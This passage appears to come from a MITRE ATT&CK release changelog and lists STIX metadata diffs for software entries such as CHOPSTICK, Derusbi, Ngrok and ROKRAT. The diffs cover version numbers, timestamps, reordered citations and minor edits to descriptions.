| external_references[3]['description'] | Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020. | Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019. |
| external_references[3]['url'] | https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf | https://github.com/BloodHoundAD/BloodHound |
| x_mitre_version | 1.1 | 1.2 |
[S0252] Brave Prince
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-04-21 23:09:30.781000+00:00 | 2022-04-11 21:44:52.220000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
[S0023] CHOPSTICK
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 15:21:18.086000+00:00 | 2022-04-14 17:21:52.879000+00:00 |
| external_references[1]['source_name'] | CHOPSTICK | SPLM |
| external_references[1]['description'] | (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) | (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) |
| external_references[2]['source_name'] | Backdoor.SofacyX | Xagent |
| external_references[2]['description'] | (Citation: Symantec APT28 Oct 2018) | (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) |
| external_references[3]['source_name'] | SPLM | X-Agent |
| external_references[4]['source_name'] | Xagent | webhp |
| external_references[4]['description'] | (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) | (Citation: FireEye APT28 January 2017) |
| external_references[5]['source_name'] | X-Agent | CHOPSTICK |
| external_references[5]['description'] | (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) | (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) |
| external_references[6]['source_name'] | webhp | Backdoor.SofacyX |
| external_references[6]['description'] | (Citation: FireEye APT28 January 2017) | (Citation: Symantec APT28 Oct 2018) |
| external_references[7]['source_name'] | FireEye APT28 | ESET Sednit Part 2 |
| external_references[7]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. |
| external_references[7]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf |
| external_references[8]['source_name'] | ESET Sednit Part 2 | FireEye APT28 January 2017 |
| external_references[8]['description'] | ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[8]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[9]['source_name'] | FireEye APT28 January 2017 | FireEye APT28 |
| external_references[9]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[9]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| x_mitre_version | 2.1 | 2.2 |
[S0154] Cobalt Strike
Current version: 1.8
Version changed from: 1.7 → 1.8
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 20:08:21.958000+00:00 | 2022-02-25 18:58:15.220000+00:00 |
| external_references[1]['url'] | https://cobaltstrike.com/downloads/csmanual38.pdf | https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf |
| x_mitre_version | 1.7 | 1.8 |
[S0021] Derusbi
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | [Derusbi](https://attack.mitre.org/software/S0021) is malwar | t | [Derusbi](https://attack.mitre.org/software/S0021) is malwar |
| e used by multiple Chinese APT groups. (Citation: Novetta-Ax | | e used by multiple Chinese APT groups.(Citation: Novetta-Axi |
| iom) (Citation: ThreatConnect Anthem) Both Windows and Linux | | om)(Citation: ThreatConnect Anthem) Both Windows and Linux v |
| variants have been observed. (Citation: Fidelis Turbo) | | ariants have been observed.(Citation: Fidelis Turbo) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 18:59:10.146000+00:00 | 2022-04-15 15:04:10.654000+00:00 |
| description | [Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups. (Citation: Novetta-Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo) | [Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed.(Citation: Fidelis Turbo) |
| external_references[1]['source_name'] | Derusbi | PHOTO |
| external_references[1]['description'] | (Citation: Novetta-Axiom) | (Citation: FireEye Periscope March 2018) |
| external_references[2]['source_name'] | PHOTO | Derusbi |
| external_references[2]['description'] | (Citation: FireEye Periscope March 2018) | (Citation: Novetta-Axiom) |
| external_references[3]['source_name'] | Novetta-Axiom | Fidelis Turbo |
| external_references[3]['description'] | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. | Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016. |
| external_references[3]['url'] | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf | https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf |
| external_references[4]['source_name'] | ThreatConnect Anthem | FireEye Periscope March 2018 |
| external_references[4]['description'] | ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016. | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. |
| external_references[4]['url'] | https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/ | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html |
| external_references[5]['source_name'] | Fidelis Turbo | Novetta-Axiom |
| external_references[5]['description'] | Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016. | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. |
| external_references[5]['url'] | https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf |
| external_references[6]['source_name'] | FireEye Periscope March 2018 | ThreatConnect Anthem |
| external_references[6]['description'] | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. | ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016. |
| external_references[6]['url'] | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html | https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/ |
| x_mitre_version | 1.1 | 1.2 |
[S0363] Empire
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-11 14:58:57.587000+00:00 | 2022-04-06 20:33:43.881000+00:00 |
| external_references[3]['source_name'] | NCSC Joint Report Public Tools | Github PowerShell Empire |
| external_references[3]['description'] | The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019. | Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. |
| external_references[3]['url'] | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools | https://github.com/EmpireProject/Empire |
| external_references[4]['source_name'] | Github PowerShell Empire | GitHub ATTACK Empire |
| external_references[4]['description'] | Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. | Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019. |
| external_references[4]['url'] | https://github.com/EmpireProject/Empire | https://github.com/dstepanic/attck_empire |
| external_references[5]['source_name'] | GitHub ATTACK Empire | NCSC Joint Report Public Tools |
| external_references[5]['description'] | Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019. | The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019. |
| external_references[5]['url'] | https://github.com/dstepanic/attck_empire | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
| x_mitre_version | 1.3 | 1.4 |
[S0182] FinFisher
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack', 'mobile-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 15:32:08.360000+00:00 | 2022-03-02 15:47:13.329000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
[S0249] Gold Dragon
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-04-21 23:09:31.063000+00:00 | 2022-04-11 21:45:35.889000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
[S0009] Hikit
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-09 18:59:27.117000+00:00 | 2022-01-12 16:21:44.692000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
[S0398] HyperBro
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-12 19:21:39.068000+00:00 | 2021-11-29 21:48:51.029000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
[S0260] InvisiMole
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-21 17:45:34.380000+00:00 | 2021-11-29 12:41:28.009000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
[S0607] KillDisk
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 14:18:07.086000+00:00 | 2022-04-19 01:59:06.481000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[S0002] Mimikatz
Current version: 1.5
Version changed from: 1.4 → 1.5
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-05-20 14:25:59.596000+00:00 | 2022-04-12 18:59:55.116000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
[S0508] Ngrok
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | [Ngrok](https://attack.mitre.org/software/S0508) is a legiti | t | [Ngrok](https://attack.mitre.org/software/S0508) is a legiti |
| mate reverse proxy tool that can create a secure tunnel to s | | mate reverse proxy tool that can create a secure tunnel to s |
| ervers located behind firewalls or on local machines that do | | ervers located behind firewalls or on local machines that do |
| not have a public IP. [Ngrok](https://attack.mitre.org/soft | | not have a public IP. [Ngrok](https://attack.mitre.org/soft |
| ware/S0508) has been leveraged by threat actors in several c | | ware/S0508) has been leveraged by threat actors in several c |
| ampaigns including use for lateral movement and data exfiltr | | ampaigns including use for lateral movement and data exfiltr |
| ation.(Citation: Zdnet Ngrok September 2018)(Citation: FireE | | ation.(Citation: Zdnet Ngrok September 2018)(Citation: FireE |
| ye Maze May 2020)(Citation: Cyware Ngrok May 2019) | | ye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: |
| | | MalwareBytes LazyScripter Feb 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-29 20:46:04.658000+00:00 | 2022-04-06 19:49:28.441000+00:00 |
| description | [Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019) | [Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021) |
| external_references[2]['source_name'] | FireEye Maze May 2020 | Cyware Ngrok May 2019 |
| external_references[2]['description'] | Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020. | Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims’ systems. Retrieved September 15, 2020. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html | https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44 |
| external_references[3]['source_name'] | Cyware Ngrok May 2019 | MalwareBytes LazyScripter Feb 2021 |
| external_references[3]['description'] | Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims’ systems. Retrieved September 15, 2020. | Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021. |
| external_references[3]['url'] | https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44 | https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'FireEye Maze May 2020', 'description': 'Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html'} |
[S0352] OSX_OCEANLOTUS.D
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 01:59:21.279000+00:00 | 2022-01-14 21:53:00.543000+00:00 |
| x_mitre_version | 2.1 | 2.2 |
[S0229] Orz
Current version: 2.2
Version changed from: 2.1 → 2.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-02-09 15:04:49.088000+00:00 | 2022-04-19 01:33:33.267000+00:00 |
| external_references[1]['source_name'] | Orz | AIRBREAK |
| external_references[1]['description'] | (Citation: Proofpoint Leviathan Oct 2017) | (Citation: FireEye Periscope March 2018) |
| external_references[2]['source_name'] | AIRBREAK | Orz |
| external_references[2]['description'] | (Citation: FireEye Periscope March 2018) | (Citation: Proofpoint Leviathan Oct 2017) |
| x_mitre_version | 2.1 | 2.2 |
[S0097] Ping
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | ['ping.exe', 'Ping'] | |
| x_mitre_platforms | ['Linux', 'Windows', 'macOS'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2022-04-15 14:14:26.239000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[S0428] PoetRAT
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-24 21:20:30.634000+00:00 | 2022-04-19 01:41:29.396000+00:00 |
| external_references[1]['source_name'] | Talos PoetRAT April 2020 | Dragos Threat Report 2020 |
| external_references[1]['description'] | Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020. | Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021. |
| external_references[1]['url'] | https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html | https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770 |
| external_references[2]['source_name'] | Talos PoetRAT October 2020 | Talos PoetRAT April 2020 |
| external_references[2]['description'] | Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021. | Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020. |
| external_references[2]['url'] | https://blog.talosintelligence.com/2020/10/poetrat-update.html | https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html |
| external_references[3]['source_name'] | Dragos Threat Report 2020 | Talos PoetRAT October 2020 |
| external_references[3]['description'] | Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021. | Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021. |
| external_references[3]['url'] | https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770 | https://blog.talosintelligence.com/2020/10/poetrat-update.html |
| x_mitre_version | 2.0 | 2.1 |
[S0113] Prikormka
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 02:39:23.582000+00:00 | 2022-04-19 01:42:59.312000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
[S0262] QuasarRAT
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-22 13:57:03.434000+00:00 | 2022-04-06 19:52:07.165000+00:00 |
| external_references[3]['source_name'] | GitHub QuasarRAT | Securelist APT10 March 2021 |
| external_references[3]['description'] | MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. | GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021. |
| external_references[3]['url'] | https://github.com/quasar/QuasarRAT | https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/ |
| external_references[4]['source_name'] | Volexity Patchwork June 2018 | TrendMicro Patchwork Dec 2017 |
| external_references[4]['description'] | Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018. | Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. |
| external_references[4]['url'] | https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/ | https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf |
| external_references[5]['source_name'] | TrendMicro Patchwork Dec 2017 | GitHub QuasarRAT |
| external_references[5]['description'] | Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. | MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. |
| external_references[5]['url'] | https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf | https://github.com/quasar/QuasarRAT |
| external_references[6]['source_name'] | Securelist APT10 March 2021 | Volexity Patchwork June 2018 |
| external_references[6]['description'] | GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021. | Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018. |
| external_references[6]['url'] | https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/ | https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/ |
| x_mitre_version | 1.2 | 1.3 |
[S0240] ROKRAT
Current version: 2.3
Version changed from: 2.2 → 2.3
|
|
|---|
| t | [ROKRAT](https://attack.mitre.org/software/S0240) is a cloud | t | [ROKRAT](https://attack.mitre.org/software/S0240) is a cloud |
| -based remote access tool (RAT) used by [APT37](https://atta | | -based remote access tool (RAT) used by [APT37](https://atta |
| ck.mitre.org/groups/G0067). This software has been used to t | | ck.mitre.org/groups/G0067) to target victims in South Korea. |
| arget victims in South Korea. [APT37](https://attack.mitre.o | | [APT37](https://attack.mitre.org/groups/G0067) has used ROK |
| rg/groups/G0067) used ROKRAT during several campaigns in 201 | | RAT during several campaigns from 2016 through 2021.(Citatio |
| 6 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Gr | | n: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexit |
| oup123) | | y InkySquid RokRAT August 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-11-23 18:54:49.190000+00:00 | 2022-03-30 20:40:21.212000+00:00 |
| description | [ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123) | [ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021) |
| external_references[4]['source_name'] | Talos ROKRAT 2 | Volexity InkySquid RokRAT August 2021 |
| external_references[4]['description'] | Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018. | Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021. |
| external_references[4]['url'] | https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html | https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/ |
| x_mitre_version | 2.2 | 2.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Talos ROKRAT 2', 'description': 'Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.', 'url': 'https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html'} |
[S0332] Remcos
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
